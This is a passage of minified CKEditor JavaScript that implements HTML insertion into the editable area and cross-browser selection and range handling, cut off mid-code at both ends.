CKEDITOR.dtd.$list?c=c.concat(t(o,i)):(l=!!d[a],"br"!=a||!o.data("cke-eol")||u&&u!=m-1||(g=(r=u?c[u-1].node:h.getItem(u+1))&&(!e(r)||!r.is("br")),r=r&&e(r)&&s.$block[r.getName()]),-1==f&&!l&&(f=u),l||(E=u),c.push({isElement:1,isLineBreak:g,isBlock:o.isBlockBoundary(),hasBlockSibling:r,node:o,name:a,allowed:l}),r=g=0)):c.push({isElement:0,node:o,allowed:1});return f>-1&&(c[f].firstNotAllowed=1),E>-1&&(c[E].lastNotAllowed=1),c}function i(t,n){var o,r=[],a=t.getChildren(),l=a.count(),c=0,d=s[n],u=!t.is(s.$inline)||t.is("br");for(u&&r.push(" ");c<l;c++)e(o=a.getItem(c))&&!o.is(d)?r=r.concat(i(o,n)):r.push(o);return u&&r.push(" "),r}function o(t){return t&&e(t)&&(t.is(s.$removeEmpty)||t.is("a")&&!t.isBlockBoundary())}function r(t,n,i,o){var a,s,c=t.clone();c.setEndAt(n,CKEDITOR.POSITION_BEFORE_END),(a=new CKEDITOR.dom.walker(c).next())&&e(a)&&l[a.getName()]&&(s=a.getPrevious())&&e(s)&&!s.getParent().equals(t.startContainer)&&i.contains(s)&&o.contains(a)&&a.isIdentical(s)&&(a.moveChildren(s),a.remove(),r(t,n,i,o))}var s=CKEDITOR.dtd,l={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ul:1,ol:1,li:1,pre:1,dl:1,blockquote:1},c={p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},d=CKEDITOR.tools.extend({},s.$inline);return delete d.br,function(l,u,h){var m=l.editor;l.getDocument();var f=m.getSelection().getRanges()[0],E=!1;if("unfiltered_html"==u&&(u="html",E=!0),!f.checkReadOnly()){var g,T,p,C,I;if(m=(u={type:u,dontFilter:E,editable:l,editor:m,range:f,blockLimit:O=new CKEDITOR.dom.elementPath(f.startContainer,f.root).blockLimit||f.root,mergeCandidates:[],zombies:[]}).range,E=u.mergeCandidates,"text"==u.type&&m.shrink(CKEDITOR.SHRINK_ELEMENT,!0,!1)&&(g=CKEDITOR.dom.element.createFromHtml("<span> </span>",m.document),m.insertNode(g),m.setStartAfter(g)),T=new CKEDITOR.dom.elementPath(m.startContainer),u.endPath=p=new CKEDITOR.dom.elementPath(m.endContainer),!m.collapsed){var O=p.block||p.blockLimit,D=m.getCommonAncestor();O&&!O.equals(D)&&!O.contains(D)&&m.checkEndOfBlock()&&u.zombies.push(O),m.deleteContents()}for(;(C=e(m.startContainer)&&m.startContainer.getChild(m.startOffset-1))&&e(C)&&C.isBlockBoundary()&&T.contains(C);)m.moveToPosition(C,CKEDITOR.POSITION_BEFORE_END);for(r(m,u.blockLimit,T,p),g&&(m.setEndBefore(g),m.collapse(),g.remove()),(O=(g=m.startPath()).contains(o,!1,1))&&(m.splitElement(O),u.inlineStylesRoot=O,u.inlineStylesPeak=g.lastElement),(O=(g=m.createBookmark()).startNode.getPrevious(n))&&e(O)&&o(O)&&E.push(O),(O=g.startNode.getNext(n))&&e(O)&&o(O)&&E.push(O),O=g.startNode;(O=O.getParent())&&o(O);)E.push(O);if(m.moveToBookmark(g),g=h){if(g=u.range,"text"==u.type&&u.inlineStylesRoot){for(m=(C=u.inlineStylesPeak).getDocument().createText("{cke-peak}"),E=u.inlineStylesRoot.getParent();!C.equals(E);)m=m.appendTo(C.clone()),C=C.getParent();h=m.getOuterHtml().split("{cke-peak}").join(h)}if(C=u.blockLimit.getName(),/^\s+|\s+$/.test(h)&&"span"in CKEDITOR.dtd[C]&&(h=(N='<span data-cke-marker="1"> </span>')+h+N),h=u.editor.dataProcessor.toHtml(h,{context:null,fixForBody:!1,dontFilter:u.dontFilter,filter:u.editor.activeFilter,enterMode:u.editor.activeEnterMode}),(C=g.document.createElement("body")).setHtml(h),N&&(C.getFirst().remove(),C.getLast().remove()),(N=g.startPath().block)&&(1!=N.getChildCount()||!N.getBogus()))e:{var R;if(1==C.getChildCount()&&e(R=C.getFirst())&&R.is(c)){for(g=0,E=(N=R.getElementsByTag("*")).count();g<E;g++)if(!(m=N.getItem(g)).is(d))break e;R.moveChildren(R.getParent(1)),R.remove()}}u.dataWrapper=C,g=h}if(g){var v,b,K,_,y,k,w,N=(R=u.range).document;for(h=u.blockLimit,g=0,C=[],E=m=0,T=R.startContainer,p=(O=u.endPath.elements[0]).getPosition(T),D=!(!O.getCommonAncestor(T)||p==CKEDITOR.POSITION_IDENTICAL||p&CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_IS_CONTAINED),function(t,n){function i(t,n){if(n.isBlock&&n.isElement&&!n.node.is("br")&&e(t)&&t.is("br"))return t.remove(),1}var o=n.endContainer.getChild(n.endOffset),r=n.endContainer.getChild(n.endOffset-1);o&&i(o,t[t.length-1]),r&&i(r,t[0])&&(n.setEnd(n.endContainer,n.endOffset-1),n.collapse())}(T=t(u.dataWrapper,u),R);g<T.length;g++){if(v=(p=T[g]).isLineBreak){v=R,y=h;var S=void 0,x=void 0;p.hasBlockSibling?v=1:(S=v.startContainer.getAscendant(s.$block,1))&&S.is({div:1,p:1})?(x=S.getPosition(y))==CKEDITOR.POSITION_IDENTICAL||x==CKEDITOR.POSITION_CONTAINS?v=0:(y=v.splitElement(S),v.moveToPosition(y,CKEDITOR.POSITION_AFTER_START),v=1):v=0}if(v)E=g>0;else{if(v=R.startPath(),!p.isBlock&&!1!==u.editor.config.autoParagraph&&u.editor.activeEnterMode!=CKEDITOR.ENTER_BR&&u.editor.editable().equals(v.blockLimit)&&!v.block&&(_=u.editor.activeEnterMode!=CKEDITOR.ENTER_BR&&!1!==u.editor.config.autoParagraph&&(u.editor.activeEnterMode==CKEDITOR.ENTER_DIV?"div":"p"))&&((_=N.createElement(_)).appendBogus(),R.insertNode(_),CKEDITOR.env.needsBrFiller&&(b=_.getBogus())&&b.remove(),R.moveToPosition(_,CKEDITOR.POSITION_BEFORE_END)),(v=R.startPath().block)&&!v.equals(K)&&((b=v.getBogus())&&(b.remove(),C.push(v)),K=v),p.firstNotAllowed&&(m=1),m&&p.isElement){for(v=R.startContainer,y=null;v&&!s[v.getName()][p.name];){if(v.equals(h)){v=null;break}y=v,v=v.getParent()}if(v)y&&(k=R.splitElement(y),u.zombies.push(k),u.zombies.push(y));else{y=h.getName(),w=!g,v=g==T.length-1,S=[],x=(y=i(p.node,y)).length;for(var A=0,L=void 0,B=0,F=-1;A<x;A++)" "==(L=y[A])?(B||w&&!A||(S.push(new CKEDITOR.dom.text(" ")),F=S.length),B=1):(S.push(L),B=0);v&&F==S.length&&S.pop(),w=S}}if(w){for(;v=w.pop();)R.insertNode(v);w=0}else R.insertNode(p.node);p.lastNotAllowed&&g<T.length-1&&((k=D?O:k)&&R.setEndAt(k,CKEDITOR.POSITION_AFTER_START),m=0),R.collapse()}}u.dontMoveCaret=E,u.bogusNeededBlocks=C}for(b=u.range,k=u.bogusNeededBlocks,w=b.createBookmark();K=u.zombies.pop();)K.getParent()&&((_=b.clone()).moveToElementEditStart(K),_.removeEmptyBlocksAtEnd());if(k)for(;K=k.pop();)CKEDITOR.env.needsBrFiller?K.appendBogus():K.append(b.document.createText(" "));for(;K=u.mergeCandidates.pop();)K.mergeSiblings();if(b.moveToBookmark(w),!u.dontMoveCaret){for(K=e(b.startContainer)&&b.startContainer.getChild(b.startOffset-1);K&&e(K)&&!K.is(s.$empty);){if(K.isBlockBoundary())b.moveToPosition(K,CKEDITOR.POSITION_BEFORE_END);else{if(o(K)&&K.getHtml().match(/(\s| )$/g)){I=null;break}(I=b.clone()).moveToPosition(K,CKEDITOR.POSITION_BEFORE_END)}K=K.getLast(n)}I&&b.moveToRange(I)}f.select(),a(l)}}}()}(),function(){function e(){var e,t=this._.fakeSelection;t&&((e=this.getSelection(1))&&e.isHidden()||(t.reset(),t=0)),(t||(t=e||this.getSelection(1))&&t.getType()!=CKEDITOR.SELECTION_NONE)&&(this.fire("selectionCheck",t),(e=this.elementPath()).compare(this._.selectionPreviousPath)||(CKEDITOR.env.webkit&&(this._.previousActive=this.document.getActive()),this._.selectionPreviousPath=e,this.fire("selectionChange",{selection:t,path:e})))}function t(){c=!0,l||(n.call(this),l=CKEDITOR.tools.setTimeout(n,200,this))}function n(){l=null,c&&(CKEDITOR.tools.setTimeout(e,0,this),c=!1)}function i(e){function t(t,n){return!(!t||t.type==CKEDITOR.NODE_TEXT)&&e.clone()["moveToElementEdit"+(n?"End":"Start")](t)}if(!(e.root instanceof CKEDITOR.editable))return!1;var n=e.startContainer,i=e.getPreviousNode(d,null,n),o=e.getNextNode(d,null,n);return!(!t(i)&&!t(o,1)&&(i||o||n.type==CKEDITOR.NODE_ELEMENT&&n.isBlockBoundary()&&n.getBogus()))}function o(e){return e.getCustomData("cke-fillingChar")}function r(e,t){var n=e&&e.removeCustomData("cke-fillingChar");if(n){if(!1!==t){var i,o,r=e.getDocument().getSelection().getNative(),s=r&&"None"!=r.type&&r.getRangeAt(0);n.getLength()>1&&s&&s.intersectsNode(n.$)&&(i=[r.anchorOffset,r.focusOffset],s=r.focusNode==n.$&&r.focusOffset>0,r.anchorNode==n.$&&r.anchorOffset>0&&i[0]--,s&&i[1]--,(s=r).isCollapsed||((o=s.getRangeAt(0)).setStart(s.anchorNode,s.anchorOffset),o.setEnd(s.focusNode,s.focusOffset),o=o.collapsed),o&&i.unshift(i.pop()))}n.setText(a(n.getText())),i&&((n=r.getRangeAt(0)).setStart(n.startContainer,i[0]),n.setEnd(n.startContainer,i[1]),r.removeAllRanges(),r.addRange(n))}}function a(e){return e.replace(/\u200B( )?/g,(function(e){return e[1]?" ":""}))}function s(e,t,n){var i=e.on("focus",(function(e){e.cancel()}),null,null,-100);if(CKEDITOR.env.ie)var o=e.getDocument().on("selectionchange",(function(e){e.cancel()}),null,null,-100);else{var r=new CKEDITOR.dom.range(e);r.moveToElementEditStart(e);var a=e.getDocument().$.createRange();a.setStart(r.startContainer.$,r.startOffset),a.collapse(1),t.removeAllRanges(),t.addRange(a)}n&&e.focus(),i.removeListener(),o&&o.removeListener()}var l,c,d=CKEDITOR.dom.walker.invisible(1),u=function(){function e(e){return function(t){var n=t.editor.createRange();return n.moveToClosestEditablePosition(t.selected,e)&&t.editor.getSelection().selectRanges([n]),!1}}function t(e){return function(t){var n,i=t.editor,o=i.createRange();return(n=o.moveToClosestEditablePosition(t.selected,e))||(n=o.moveToClosestEditablePosition(t.selected,!e)),n&&i.getSelection().selectRanges([o]),i.fire("saveSnapshot"),t.selected.remove(),n||(o.moveToElementEditablePosition(i.editable()),i.getSelection().selectRanges([o])),i.fire("saveSnapshot"),!1}}var n=e(),i=e(1);return{37:n,38:n,39:i,40:i,8:t(),46:t(1)}}();CKEDITOR.on("instanceCreated",(function(n){function i(){var e=o.getSelection();e&&e.removeAllRanges()}var o=n.editor;o.on("contentDom",(function(){var n,i,a,s,l=o.document,c=CKEDITOR.document,d=o.editable(),u=l.getBody(),m=l.getDocumentElement(),f=d.isInline();if(CKEDITOR.env.gecko&&d.attachListener(d,"focus",(function(e){e.removeListener(),0!==n&&(e=o.getSelection().getNative())&&e.isCollapsed&&e.anchorNode==d.$&&((e=o.createRange()).moveToElementEditStart(d),e.select())}),null,null,-2),d.attachListener(d,CKEDITOR.env.webkit?"DOMFocusIn":"focus",(function(){n&&CKEDITOR.env.webkit&&(n=o._.previousActive&&o._.previousActive.equals(l.getActive())),o.unlockSelection(n),n=0}),null,null,-1),d.attachListener(d,"mousedown",(function(){n=0})),CKEDITOR.env.ie||CKEDITOR.env.opera||f){var E=function(){(i=new CKEDITOR.dom.selection(o.getSelection())).lock()};h?d.attachListener(d,"beforedeactivate",E,null,null,-1):d.attachListener(o,"selectionCheck",E,null,null,-1),d.attachListener(d,CKEDITOR.env.webkit?"DOMFocusOut":"blur",(function(){o.lockSelection(i),n=1}),null,null,-1),d.attachListener(d,"mousedown",(function(){n=0}))}if(CKEDITOR.env.ie&&!f&&(d.attachListener(d,"mousedown",(function(e){2==e.data.$.button&&((e=o.document.getSelection())&&e.getType()!=CKEDITOR.SELECTION_NONE||(a=o.window.getScrollPosition()))})),d.attachListener(d,"mouseup",(function(e){2==e.data.$.button&&a&&(o.document.$.documentElement.scrollLeft=a.x,o.document.$.documentElement.scrollTop=a.y),a=null})),"BackCompat"!=l.$.compatMode&&((CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)&&m.on("mousedown",(function(e){function t(e){if(e=e.data.$,i){var t=u.$.createTextRange();try{t.moveToPoint(e.x,e.y)}catch(e){}i.setEndPoint(o.compareEndPoints("StartToStart",t)<0?"EndToEnd":"StartToStart",t),i.select()}}function n(){m.removeListener("mousemove",t),c.removeListener("mouseup",n),m.removeListener("mouseup",n),i.select()}if((e=e.data).getTarget().is("html")&&e.$.y<m.$.clientHeight&&e.$.x<m.$.clientWidth){var i=u.$.createTextRange();try{i.moveToPoint(e.$.x,e.$.y)}catch(e){}var o=i.duplicate();m.on("mousemove",t),c.on("mouseup",n),m.on("mouseup",n)}})),CKEDITOR.env.version>7&&CKEDITOR.env.version<11))){m.on("mousedown",(function(e){e.data.getTarget().is("html")&&(c.on("mouseup",g),m.on("mouseup",g))}));var g=function(){c.removeListener("mouseup",g),m.removeListener("mouseup",g);var e=CKEDITOR.document.$.selection,t=e.createRange();"None"!=e.type&&t.parentElement().ownerDocument==l.$&&t.select()}}d.attachListener(d,"selectionchange",e,o),d.attachListener(d,"keyup",t,o),d.attachListener(d,CKEDITOR.env.webkit?"DOMFocusIn":"focus",(function(){o.forceNextSelectionCheck(),o.selectionChange(1)})),(f?CKEDITOR.env.webkit||CKEDITOR.env.gecko:CKEDITOR.env.opera)?(d.attachListener(d,"mousedown",(function(){s=1})),d.attachListener(l.getDocumentElement(),"mouseup",(function(){s&&t.call(o),s=0}))):d.attachListener(CKEDITOR.env.ie?d:l.getDocumentElement(),"mouseup",t,o),CKEDITOR.env.webkit&&d.attachListener(l,"keydown",(function(e){switch(e.data.getKey()){case 13:case 33:case 34:case 35:case 36:case 37:case 39:case 8:case 45:case 46:r(d)}}),null,null,-1),d.attachListener(d,"keydown",function(e){var t={37:1,39:1,8:1,46:1};return function(n){var i=n.data.getKeystroke();if(t[i]){var o=e.getSelection().getRanges(),r=o[0];1==o.length&&r.collapsed&&(i=r[i<38?"getPreviousEditableNode":"getNextEditableNode"]())&&i.type==CKEDITOR.NODE_ELEMENT&&"false"==i.getAttribute("contenteditable")&&(e.getSelection().fake(i),n.data.preventDefault(),n.cancel())}}}(o),null,null,-1)})),o.on("contentDomUnload",o.forceNextSelectionCheck,o),o.on("dataReady",(function(){delete o._.fakeSelection,delete o._.hiddenSelectionContainer,o.selectionChange(1)})),o.on("loadSnapshot",(function(){var e=o.editable().getLast((function(e){return e.type==CKEDITOR.NODE_ELEMENT}));e&&e.hasAttribute("data-cke-hidden-sel")&&e.remove()}),null,null,100),CKEDITOR.env.ie9Compat&&o.on("beforeDestroy",i,null,null,9),CKEDITOR.env.webkit&&o.on("setData",i),o.on("contentDomUnload",(function(){o.unlockSelection()})),o.on("key",(function(e){if("wysiwyg"==o.mode){var t=o.getSelection();if(t.isFake){var n=u[e.data.keyCode];if(n)return n({editor:o,selected:t.getSelectedElement(),selection:t,keyEvent:e})}}}))})),CKEDITOR.on("instanceReady",(function(e){var t=e.editor;if(CKEDITOR.env.webkit){t.on("selectionChange",(function(){var e=t.editable(),n=o(e);n&&(n.getCustomData("ready")?r(e):n.setCustomData("ready",1))}),null,null,-1),t.on("beforeSetMode",(function(){r(t.editable())}),null,null,-1),e=function(){var e=t.editable();if(e&&(e=o(e))){var r=t.document.$.defaultView.getSelection();"Caret"==r.type&&r.anchorNode==e.$&&(i=1),n=e.getText(),e.setText(a(n))}};var n,i,s=function(){var e=t.editable();e&&(e=o(e))&&(e.setText(n),i&&(t.document.$.defaultView.getSelection().setPosition(e.$,e.getLength()),i=0))};t.on("beforeUndoImage",e),t.on("afterUndoImage",s),t.on("beforeGetData",e,null,null,0),t.on("getData",s)}})),CKEDITOR.editor.prototype.selectionChange=function(n){(n?e:t).call(this)},CKEDITOR.editor.prototype.getSelection=function(e){return!this._.savedSelection&&!this._.fakeSelection||e?(e=this.editable())&&"wysiwyg"==this.mode?new CKEDITOR.dom.selection(e):null:this._.savedSelection||this._.fakeSelection},CKEDITOR.editor.prototype.lockSelection=function(e){return(e=e||this.getSelection(1)).getType()!=CKEDITOR.SELECTION_NONE&&(!e.isLocked&&e.lock(),this._.savedSelection=e,!0)},CKEDITOR.editor.prototype.unlockSelection=function(e){var t=this._.savedSelection;return!!t&&(t.unlock(e),delete this._.savedSelection,!0)},CKEDITOR.editor.prototype.forceNextSelectionCheck=function(){delete this._.selectionPreviousPath},CKEDITOR.dom.document.prototype.getSelection=function(){return new CKEDITOR.dom.selection(this)},CKEDITOR.dom.range.prototype.select=function(){var e=this.root instanceof CKEDITOR.editable?this.root.editor.getSelection():new CKEDITOR.dom.selection(this.root);return e.selectRanges([this]),e},CKEDITOR.SELECTION_NONE=1,CKEDITOR.SELECTION_TEXT=2,CKEDITOR.SELECTION_ELEMENT=3;var h="function"!=typeof window.getSelection,m=1;CKEDITOR.dom.selection=function(e){if(e instanceof CKEDITOR.dom.selection){var t=e;e=e.root}var n,i,o=e instanceof CKEDITOR.dom.element;if(this.rev=t?t.rev:m++,this.document=e instanceof CKEDITOR.dom.document?e:e.getDocument(),this.root=e=o?e:this.document.getBody(),this.isLocked=0,this._={cache:{}},t)return CKEDITOR.tools.extend(this._.cache,t._.cache),this.isFake=t.isFake,this.isLocked=t.isLocked,this;if(t=h?this.document.$.selection:this.document.getWindow().$.getSelection(),CKEDITOR.env.webkit)("None"==t.type&&this.document.getActive().equals(e)||"Caret"==t.type&&t.anchorNode.nodeType==CKEDITOR.NODE_DOCUMENT)&&s(e,t);else if(CKEDITOR.env.gecko)t&&this.document.getActive().equals(e)&&t.anchorNode&&t.anchorNode.nodeType==CKEDITOR.NODE_DOCUMENT&&s(e,t,!0);else if(CKEDITOR.env.ie){var r;try{r=this.document.getActive()}catch(e){}h?"None"==t.type&&r&&r.equals(this.document.getDocumentElement())&&s(e,null,!0):((t=t&&t.anchorNode)&&(t=new CKEDITOR.dom.node(t)),r&&r.equals(this.document.getDocumentElement())&&t&&(e.equals(t)||e.contains(t))&&s(e,null,!0))}if(r=this.getNative())if(r.getRangeAt)n=(i=r.rangeCount&&r.getRangeAt(0))&&new CKEDITOR.dom.node(i.commonAncestorContainer);else{try{i=r.createRange()}catch(e){}n=i&&CKEDITOR.dom.element.get(i.item&&i.item(0)||i.parentElement())}return(!n||n.type!=CKEDITOR.NODE_ELEMENT&&n.type!=CKEDITOR.NODE_TEXT||!this.root.equals(n)&&!this.root.contains(n))&&(this._.cache.type=CKEDITOR.SELECTION_NONE,this._.cache.startElement=null,this._.cache.selectedElement=null,this._.cache.selectedText="",this._.cache.ranges=new CKEDITOR.dom.rangeList),this};var f={img:1,hr:1,li:1,table:1,tr:1,td:1,th:1,embed:1,object:1,ol:1,ul:1,a:1,input:1,form:1,select:1,textarea:1,button:1,fieldset:1,thead:1,tfoot:1};CKEDITOR.dom.selection.prototype={getNative:function(){return void 0!==this._.cache.nativeSel?this._.cache.nativeSel:this._.cache.nativeSel=h?this.document.$.selection:this.document.getWindow().$.getSelection()},getType:h?function(){var e=this._.cache;if(e.type)return e.type;var t=CKEDITOR.SELECTION_NONE;try{var n=this.getNative(),i=n.type;"Text"==i&&(t=CKEDITOR.SELECTION_TEXT),"Control"==i&&(t=CKEDITOR.SELECTION_ELEMENT),n.createRange().parentElement()&&(t=CKEDITOR.SELECTION_TEXT)}catch(e){}return e.type=t}:function(){var e=this._.cache;if(e.type)return e.type;var t=CKEDITOR.SELECTION_TEXT;if((n=this.getNative())&&n.rangeCount){if(1==n.rangeCount){var n,i=(n=n.getRangeAt(0)).startContainer;i==n.endContainer&&1==i.nodeType&&n.endOffset-n.startOffset==1&&f[i.childNodes[n.startOffset].nodeName.toLowerCase()]&&(t=CKEDITOR.SELECTION_ELEMENT)}}else t=CKEDITOR.SELECTION_NONE;return e.type=t},getRanges:function(){var e=h?function(){function e(e){return new CKEDITOR.dom.node(e).getIndex()}var t=function(t,n){(t=t.duplicate()).collapse(n);var i=t.parentElement();if(!i.hasChildNodes())return{container:i,offset:0};for(var o,r,a,s,l=i.children,c=t.duplicate(),d=0,u=l.length-1,h=-1;d<=u;)if(o=l[h=Math.floor((d+u)/2)],c.moveToElementText(o),(a=c.compareEndPoints("StartToStart",t))>0)u=h-1;else{if(!(a<0))return{container:i,offset:e(o)};d=h+1}if(-1==h||h==l.length-1&&a<0){if(c.moveToElementText(i),c.setEndPoint("StartToStart",t),c=c.text.replace(/(\r\n|\r)/g,"\n").length,l=i.childNodes,!c)return(o=l[l.length-1]).nodeType!=CKEDITOR.NODE_TEXT?{container:i,offset:l.length}:{container:o,offset:o.nodeValue.length};for(i=l.length;c>0&&i>0;)(r=l[--i]).nodeType==CKEDITOR.NODE_TEXT&&(s=r,c-=r.nodeValue.length);return{container:s,offset:-c}}if(c.collapse(a>0),c.setEndPoint(a>0?"StartToStart":"EndToStart",t),!(c=c.text.replace(/(\r\n|\r)/g,"\n").length))return{container:i,offset:e(o)+(a>0?0:1)};for(;c>0;)try{(r=o[a>0?"previousSibling":"nextSibling"]).nodeType==CKEDITOR.NODE_TEXT&&(c-=r.nodeValue.length,s=r),o=r}catch(t){return{container:i,offset:e(o)}}return{container:s,offset:a>0?-c:s.nodeValue.length+c}};return function(){var e=(s=this.getNative())&&s.createRange(),n=this.getType();if(!s)return[];if(n==CKEDITOR.SELECTION_TEXT)return s=new CKEDITOR.dom.range(this.root),n=t(e,!0),s.setStart(new CKEDITOR.dom.node(n.container),n.offset),n=t(e),s.setEnd(new CKEDITOR.dom.node(n.container),n.offset),s.endContainer.getPosition(s.startContainer)&CKEDITOR.POSITION_PRECEDING&&s.endOffset<=s.startContainer.getIndex()&&s.collapse(),[s];if(n==CKEDITOR.SELECTION_ELEMENT){n=[];for(var i=0;i<e.length;i++){for(var o=e.item(i),r=o.parentNode,a=0,s=new CKEDITOR.dom.range(this.root);a<r.childNodes.length&&r.childNodes[a]!=o;a++);s.setStart(new CKEDITOR.dom.node(r),a),s.setEnd(new CKEDITOR.dom.node(r),a+1),n.push(s)}return n}return[]}}():function(){var e,t=[],n=this.getNative();if(!n)return t;for(var i=0;i<n.rangeCount;i++){var o=n.getRangeAt(i);(e=new CKEDITOR.dom.range(this.root)).setStart(new CKEDITOR.dom.node(o.startContainer),o.startOffset),e.setEnd(new CKEDITOR.dom.node(o.endContainer),o.endOffset),t.push(e)}return t};return function(t){var n=this._.cache;if(n.ranges&&!t)return n.ranges;if(n.ranges||(n.ranges=new CKEDITOR.dom.rangeList(e.call(this))),t)for(var i=n.ranges,o=0;o<i.length;o++){var r=i[o];if(r.getCommonAncestor().isReadOnly()&&i.splice(o,1),!r.collapsed){var a;if(r.startContainer.isReadOnly())for(t=r.startContainer;t&&!((a=t.type==CKEDITOR.NODE_ELEMENT)&&t.is("body")||!t.isReadOnly());)a&&"false"==t.getAttribute("contentEditable")&&r.setStartAfter(t),t=t.getParent();t=r.startContainer,a=r.endContainer;var s=r.startOffset,l=r.endOffset,c=r.clone();t&&t.type==CKEDITOR.NODE_TEXT&&(s>=t.getLength()?c.setStartAfter(t):c.setStartBefore(t)),a&&a.type==CKEDITOR.NODE_TEXT&&(l?c.setEndAfter(a):c.setEndBefore(a)),(t=new CKEDITOR.dom.walker(c)).evaluator=function(e){if(e.type==CKEDITOR.NODE_ELEMENT&&e.isReadOnly()){var t=r.clone();return r.setEndBefore(e),r.collapsed&&i.splice(o--,1),e.getPosition(c.endContainer)&CKEDITOR.POSITION_CONTAINS||(t.setStartAfter(e),t.collapsed||i.splice(o+1,0,t)),!0}return!1},t.next()}}return n.ranges}}(),getStartElement:function(){var e,t=this._.cache;if(void 0!==t.startElement)return t.startElement;switch(this.getType()){case CKEDITOR.SELECTION_ELEMENT:return this.getSelectedElement();case CKEDITOR.SELECTION_TEXT:var n=this.getRanges()[0];if(n){if(n.collapsed)(e=n.startContainer).type!=CKEDITOR.NODE_ELEMENT&&(e=e.getParent());else{for(n.optimize();e=n.startContainer,n.startOffset==(e.getChildCount?e.getChildCount():e.getLength())&&!e.isBlockBoundary();)n.setStartAfter(e);if((e=n.startContainer).type!=CKEDITOR.NODE_ELEMENT)return e.getParent();if((e=e.getChild(n.startOffset))&&e.type==CKEDITOR.NODE_ELEMENT)for(n=e.getFirst();n&&n.type==CKEDITOR.NODE_ELEMENT;)e=n,n=n.getFirst();else e=n.startContainer}e=e.$}}return t.startElement=e?new CKEDITOR.dom.element(e):null},getSelectedElement:function(){var e=this._.cache;if(void 0!==e.selectedElement)return e.selectedElement;var t=this,n=CKEDITOR.tools.tryThese((function(){return t.getNative().createRange().item(0)}),(function(){for(var e,n,i=t.getRanges()[0].clone(),o=2;o&&(!(e=i.getEnclosedNode())||e.type!=CKEDITOR.NODE_ELEMENT||!f[e.getName()]||!(n=e));o--)i.shrink(CKEDITOR.SHRINK_ELEMENT);return n&&n.$}));return e.selectedElement=n?new CKEDITOR.dom.element(n):null},getSelectedText:function(){var e=this._.cache;if(void 0!==e.selectedText)return e.selectedText;var t=this.getNative();return t=h?"Control"==t.type?"":t.createRange().text:t.toString(),e.selectedText=t},lock:function(){this.getRanges(),this.getStartElement(),this.getSelectedElement(),this.getSelectedText(),this._.cache.nativeSel=null,this.isLocked=1},unlock:function(e){if(this.isLocked){if(e)var t=this.getSelectedElement(),n=!t&&this.getRanges(),i=this.isFake;this.isLocked=0,this.reset(),e&&(e=t||n[0]&&n[0].getCommonAncestor())&&e.getAscendant("body",1)&&(i?this.fake(t):t?this.selectElement(t):this.selectRanges(n))}},reset:function(){this._.cache={},this.isFake=0;var e=this.root.editor;if(e&&e._.fakeSelection&&this.rev==e._.fakeSelection.rev){delete e._.fakeSelection;var t=e._.hiddenSelectionContainer;t&&(e.fire("lockSnapshot"),t.remove(),e.fire("unlockSnapshot")),delete e._.hiddenSelectionContainer}this.rev=m++},selectElement:function(e){var t=new CKEDITOR.dom.range(this.root);t.setStartBefore(e),t.setEndAfter(e),this.selectRanges([t])},selectRanges:function(e){if(this.reset(),e.length)if(this.isLocked){var t=CKEDITOR.document.getActive();this.unlock(),this.selectRanges(e),this.lock(),!t.equals(this.root)&&t.focus()}else if(1==e.length&&!e[0].collapsed&&(t=e[0].getEnclosedNode())&&t.type==CKEDITOR.NODE_ELEMENT&&"false"==t.getAttribute("contenteditable"))this.fake(t);else{if(h){var n=CKEDITOR.dom.walker.whitespaces(!0),o=/\ufeff|\u00a0/,a={table:1,tbody:1,tr:1};e.length>1&&(t=e[e.length-1],e[0].setEnd(t.endContainer,t.endOffset)),e=(t=e[0]).collapsed;var s,l,c,d,u=t.getEnclosedNode();if(u&&u.type==CKEDITOR.NODE_ELEMENT&&u.getName()in f&&(!u.is("a")||!u.getText()))try{return(c=u.$.createControlRange()).addElement(u.$),void c.select()}catch(e){}(t.startContainer.type==CKEDITOR.NODE_ELEMENT&&t.startContainer.getName()in a||t.endContainer.type==CKEDITOR.NODE_ELEMENT&&t.endContainer.getName()in a)&&t.shrink(CKEDITOR.NODE_ELEMENT,!0),a=(c=t.createBookmark()).startNode,e||(d=c.endNode),(c=t.document.$.body.createTextRange()).moveToElementText(a.$),c.moveStart("character",1),d?((o=t.document.$.body.createTextRange()).moveToElementText(d.$),c.setEndPoint("EndToEnd",o),c.moveEnd("character",-1)):(s=a.getNext(n),l=a.hasAscendant("pre"),s=!(s&&s.getText&&s.getText().match(o))&&(l||!a.hasPrevious()||a.getPrevious().is&&a.getPrevious().is("br")),(l=t.document.createElement("span")).setHtml(""),l.insertBefore(a),s&&t.document.createText("\ufeff").insertBefore(a)),t.setStartBefore(a),a.remove(),e?(s?(c.moveStart("character",-1),c.select(),t.document.$.selection.clear()):c.select(),t.moveToPosition(l,CKEDITOR.POSITION_BEFORE_START),l.remove()):(t.setEndBefore(d),d.remove(),c.select())}else{if(!(d=this.getNative()))return;for(CKEDITOR.env.opera&&((t=this.document.$.createRange()).selectNodeContents(this.root.$),d.addRange(t)),this.removeAllRanges(),c=0;c<e.length;c++)if(c<e.length-1&&(t=e[c],o=e[c+1],(l=t.clone()).setStart(t.endContainer,t.endOffset),l.setEnd(o.startContainer,o.startOffset),!l.collapsed&&(l.shrink(CKEDITOR.NODE_ELEMENT,!0),s=l.getCommonAncestor(),l=l.getEnclosedNode(),s.isReadOnly()||l&&l.isReadOnly())))o.setStart(t.startContainer,t.startOffset),e.splice(c--,1);else{t=e[c],o=this.document.$.createRange(),s=t.startContainer,CKEDITOR.env.opera&&t.collapsed&&s.type==CKEDITOR.NODE_ELEMENT&&(l=s.getChild(t.startOffset-1),n=s.getChild(t.startOffset),(!l&&!n&&s.is(CKEDITOR.dtd.$removeEmpty)||l&&l.type==CKEDITOR.NODE_ELEMENT||n&&n.type==CKEDITOR.NODE_ELEMENT)&&(t.insertNode(this.document.createText("")),t.collapse(1))),t.collapsed&&CKEDITOR.env.webkit&&i(t)&&(r(s=this.root,!1),l=s.getDocument().createText(""),s.setCustomData("cke-fillingChar",l),t.insertNode(l),(s=l.getNext())&&!l.getPrevious()&&s.type==CKEDITOR.NODE_ELEMENT&&"br"==s.getName()?(r(this.root),t.moveToPosition(s,CKEDITOR.POSITION_BEFORE_START)):t.moveToPosition(l,CKEDITOR.POSITION_AFTER_END)),o.setStart(t.startContainer.$,t.startOffset);try{o.setEnd(t.endContainer.$,t.endOffset)}catch(e){if(!(e.toString().indexOf("NS_ERROR_ILLEGAL_VALUE"